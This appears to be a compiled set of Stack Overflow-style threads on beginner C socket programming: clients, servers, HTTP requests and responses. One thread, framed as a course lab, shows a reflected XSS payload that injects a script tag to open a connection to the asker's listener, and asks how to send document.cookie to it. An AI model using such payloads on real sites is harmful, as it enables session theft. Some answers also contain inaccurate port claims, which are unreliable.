Hello and thanks in advance for any help.I am trying to make simple socket connecting programs in C.After every connect() function with correct parameters,i have a printf("connected").But even though i get no error for the connection attempt,i don't see the "connected" message either.All i see is a black console,no messages,no errors and it never exits
Could this be caused because i'm running the application from virtualbox?
ok added code directly,this is taken right from a tutorial website so it should work.But in my case it just waits forever for connection i guess
#include<stdio.h>
#include<sys/socket.h>
#include<arpa/inet.h> //inet_addr
int main(int argc , char *argv[])
{
int socket_desc;
struct sockaddr_in server;
//Create socket
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1)
{
printf("Could not create socket");
}
server.sin_addr.s_addr = inet_addr("74.125.235.20");
server.sin_family = AF_INET;
server.sin_port = htons( 80 );
//Connect to remote server
if (connect(socket_desc , (struct sockaddr *)&server , sizeof(server)) < 0)
{
puts("connect error");
return 1;
}
puts("Connected");
return 0;
}
connect function can have a freeze-like comportment (but always timeout after some time) if you are trying to connect to an address that doesn't exists or that is not listening on this port. It appears to be the case.
Try to run a simple server using nc -lk [your port here] and to connect to 127.0.0.1 (localhost) to your port.
EDIT: Do not use a port from 0 to 1023. You need to be a root user to bind these. Try another one, like 4242.
Related
I have a C socket that listens on port 1001 on localhost. I also have the client code that connects to port 1001 on the ip 127.0.0.1. If I send the client's code to my friend, how could he have access to my machine when we would be on different networks? Is it possible for me just by changing the server code to make my public IP open for connections on port 1001? Below is the simple server code:
obs: I learning C.
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#define BUFSIZE 256
short SocketCreate(void)
{
short hSocket;
printf("Create the socket\n");
hSocket = socket(AF_INET, SOCK_STREAM, 0);
// close(hSocket);
return hSocket;
}
int BindCreatedSocket(int hSocket)
{
int iRetval = -1, ClientPort = 1001;
struct sockaddr_in remote = {0};
remote.sin_family = AF_INET;
remote.sin_addr.s_addr = htonl(INADDR_ANY);
remote.sin_port = htons(ClientPort);
iRetval = bind(hSocket, (struct sockaddr *)&remote, sizeof(remote));
return iRetval;
}
int main(int argc, char *argv[])
{
int socket_desc, sock, clientLen;
struct sockaddr_in client;
char client_message[200] = {0}, message[9999] = {0};
char buf[BUFSIZE];
socket_desc = SocketCreate();
if (socket_desc == -1)
{
printf("Could not create socket");
return 1;
}
printf("Socket created\n");
if (BindCreatedSocket(socket_desc) < 0)
{
perror("bind failed.");
return 1;
}
printf("Waiting for incoming connections...\n");
listen(socket_desc, 3);
while (1)
{
clientLen = sizeof(struct sockaddr_in);
sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t *)&clientLen);
if (sock < 0)
{
perror("accept failed");
return 1;
}
// printf("Connection accepted\n");
memset(client_message, '\0', sizeof(client_message));
memset(message, '\0', sizeof(message));
if (recv(sock, client_message, 200, 0) < 0)
{
printf("recv failed");
break;
}
if (strcmp(client_message, "exitserver") == 0)
{
close(socket_desc);
close(sock);
break;
}
}
return 0;
}
I have a C socket that listens on port 1001 on localhost. I also have
the client code that connects to port 1001 on the ip 127.0.0.1. If I
send the client's code to my friend, how could he have access to my
machine when we would be on different networks?
They couldn't. Address 127.0.0.1 is a loopback address. Packets sent to that address are always directed to the machine that sent them.
Is it possible for me just by changing the server code to make my
public IP open for connections on port 1001?
Do you have a public IP? 127.0.0.1 certainly isn't one, and most people with consumer-grade internet service don't have one. If you did have one, you probably would have had to make special arrangements to get it, and you would probably be paying extra for the privilege.
But supposing that you did have a public IP or that you made arrangements to get one, no, you cannot ensure that a port is open via your server program. Your program can listen on that address without much fuss, but you have to consider also firewalls -- probably one on your local machine and one at your local router, at least.
Also, before you set up a public server, you would be wise to check your ISP's policy and user agreement. It is not uncommon for ISPs to forbid running outward-facing services on consumer internet connections. They typically want you to pay more for that privilege, and that also makes it easier for ISPs to police their networks.
#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib") //Winsock Library
int main(int argc , char *argv[])
{
WSADATA wsa;
SOCKET s;
struct sockaddr_in server;
char *message , server_reply[2000];
int recv_size;
printf("\nInitialising Winsock...");
if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
{
printf("Failed. Error Code : %d",WSAGetLastError());
return 1;
}
printf("Initialised.\n");
//Create a socket
if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
{
printf("Could not create socket : %d" , WSAGetLastError());
}
printf("Socket created.\n");
server.sin_addr.s_addr = inet_addr("74.125.235.20");
server.sin_family = AF_INET;
server.sin_port = htons( 80 );
//Connect to remote server
if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)
{
puts("connect error");
return 1;
}
puts("Connected");
//Send some data
message = "GET / HTTP/1.1\r\n\r\n";
if( send(s , message , strlen(message) , 0) < 0)
{
puts("Send failed");
return 1;
}
puts("Data Send\n");
//Receive a reply from the server
if((recv_size = recv(s , server_reply , 2000 , 0)) == SOCKET_ERROR)
{
puts("recv failed");
}
puts("Reply received\n");
//Add a NULL terminating character to make it a proper string before printing
server_reply[recv_size] = '\0';
puts(server_reply);
return 0;
}
My output
Your output shows that your code passed the "Socket created", but didn't reach the "Connected". As you have no "connect error", connect() didn't yet fail. As you have no abort either, it is highly probable that you're stuck waiting for the connection to be established.
One way to test it would be to try open the address directly in the browser with http://<ip address> (equivalent to talking to port 80)
According to this site, the address you are talking to belongs to google, but has its port 80 closed. It is possible that security measures on google side make the rejection of the connection to be filtered. THis could explain why you experience a long timeout instead of a quick failure message.
So another way to test your code would be to use the address of a valid http server. TO find one, run your command line, type "ping google.com" and take the address that is displayed for the ping requests in your programme. The connection will then succeed.
Quoting from wikipedia:
The range of port numbers from 1024 to 49151 are the registered ports.
They are assigned by IANA for specific service upon application by a
requesting entity.[1] On most systems, registered ports can be used by
ordinary users.
That means that any port bellow 1024 will not work as they are already assigned.
I am really new to C and especially with socket programming so basically I have setup apache server on my local machine where I am hosting multiple audio/video/txt files.
Now I want to display those files using C. (just like ls -l in linux but it should be from the server)
I am able to fetch the html content of local server but that is something not I am looking for.
Here is my code for getting html content from the localhost
#include<stdio.h>
#include<string.h>
#include<sys/socket.h>
#include<arpa/inet.h>
int main()
{
int socket_desc;
struct sockaddr_in server;
char *message , server_reply[6000];
//Create socket
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1)
{
printf("Could not create socket");
}
server.sin_addr.s_addr = inet_addr("192.168.1.3"); // localhost ip
server.sin_family = AF_INET;
server.sin_port = htons( 80 );
//Connect to remote server
if (connect(socket_desc , (struct sockaddr *)&server , sizeof(server)) < 0)
{
puts("connect error");
return 1;
}
puts("Connected\n");
//Send some data
message = "GET /?st=1 HTTP/1.1\r\nHost: 192.168.1.3\r\n\r\n";
if( send(socket_desc , message , strlen(message) , 0) < 0)
{
puts("Send failed");
return 1;
}
puts("Data Send\n");
//Receive a reply from the server
if( recv(socket_desc, server_reply , 6000 , 0) < 0)
{
puts("recv failed");
}
puts("Reply received\n");
puts(server_reply);
return 0;
}
Q: Are you trying to run this application on "Server A" and get a listing of files on "Server B"?
--
Thanks for the update to that.
Here is the problem, you are not going to be able to get a directory listing from one server to the other just by sending a standard http request. You will need a reciprocal application on "Server B". Do you have direct access to that server, or is this a public server and you are trying to mirror it?
For a class assignment, I am told to use a xss attack to steal a cookie. We are given a VM to work on and a client from which to steal the cookie. We have the ability to use telnet to make the client go to any url we want, but are unable to view directly what happens. We were given a website that is on another server that is vulnerable. Since the network is closed and the client is only able to visit sites hosted by either the provided server or my VM, my professor suggested that I write a simple C server, have it listen on a specific port, and send the cookie through to allow my server to print it.
Here is the server I am using. It is listening on port 8888.
#include<stdio.h>
#include<string.h> //strlen
#include<sys/socket.h>
#include<arpa/inet.h> //inet_addr
#include<unistd.h> //write
int main(int argc , char *argv[])
{
int socket_desc , client_sock , c , read_size;
struct sockaddr_in server , client;
char client_message[2000];
//Create socket
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1)
{
printf("Could not create socket");
}
puts("Socket created");
//Prepare the sockaddr_in structure
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 8888 );
//Bind
if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0)
{
//print the error message
perror("bind failed. Error");
return 1;
}
puts("bind done");
//Listen
listen(socket_desc , 3);
//Accept and incoming connection
puts("Waiting for incoming connections...");
c = sizeof(struct sockaddr_in);
//accept connection from an incoming client
client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c);
if (client_sock < 0)
{
perror("accept failed");
return 1;
}
puts("Connection accepted");
//Receive a message from client
while( (read_size = recv(client_sock , client_message , 2000 , 0)) > 0 )
{
//Send the message back to client
//write(client_sock , client_message , strlen(client_message));
printf("%s \n",client_message);
}
if(read_size == 0)
{
puts("Client disconnected");
fflush(stdout);
}
else if(read_size == -1)
{
perror("recv failed");
}
return 0;
}
I have gotten to where I can use an XSS attack to get connected to my server, but do not know how to send across the cookie. I know it is stored in document.cookie. Trying ...WEBSITEURL...?user="><script>window.open("http://localhost:8888")</script> with the url of the vulnerable site establishes a connection to my server (my server says so), but I do not know what to do from here.Do I need to modify my server in some way to accept a certain kind of input? I have tried ..localhost:8888?test" and I get a 404 error.
IN SHORT: How can I use a xss attack to send a cookie to a C server?
I've written a c socket program in c (cygwin) and I want to send some html code to my browser.
I've written the server and if i run it and type in my browser localhost:8888. My program says it sends the correct amount of bytes but my browser seems to receive nothing.
send code:
#include<stdio.h>
#include<string.h> //strlen
#include<sys/socket.h>
#include<arpa/inet.h> //inet_addr
#include<unistd.h> //write
int main(int argc , char *argv[])
{
int socket_desc , new_socket , c;
struct sockaddr_in server , client;
char *message;
//Create socket
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1)
{
printf("Could not create socket");
}
//Prepare the sockaddr_in structure
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 8888 );
//Bind
if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0)
{
puts("bind failed");
return 1;
}
puts("bind done");
//Listen
listen(socket_desc , 1);
//Accept and incoming connection
puts("Waiting for incoming connections...");
c = sizeof(struct sockaddr_in);
new_socket = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c);
if (new_socket<0)
{
perror("accept failed");
return 1;
}
puts("Connection accepted");
char *reply =
"HTTP/1.1 200 OK\r\n<Content-Type: text/html\r\n\r\n<!DOCTYPE html>\r\n<html>\r\n<body>\r\n<h1>My First Heading</h1>\r\n<p>My first paragraph.</p>\r\n</body>\r\n</html>";
int i = send(new_socket,reply,strlen(reply),0);
printf("%d",i);
shutdown(new_socket,2);
return 0;
}
Output program:
bind done
Waiting for incoming connections
Connection accepted
98
Output browser:
Error 103 (net::ERR_CONNECTION_ABORTED): Unknown Error
What is wrong ?
Chances are that, unless there's some more code you aren't showing us, your program isn't generating appropriate HTTP headers on the response. A minimal HTTP response would look like:
HTTP/1.1 200 OK
Content-Type: text/html
Your HTML code goes here
Each line should be terminated by CR+LF (\r\n), and there must be two CR+LF pairs (e.g, \r\n\r\n) between the last header and the start of the body.
Here is an example web server in C that you should take a look at.
It shows how the HTTP protocol, transported via TCP, is used to communicate between the browser and the web server.
In order to send data to a browser your server needs to implement the HTTP protocol. This means waiting for a request from the browser, parsing it and then sending a response containing your data back to the browser.
Take a look at these useful resources about HTTP:
HTTP Made Really Easy
HTTP Protocol Standard
The first one in particular provides very easy to understand information.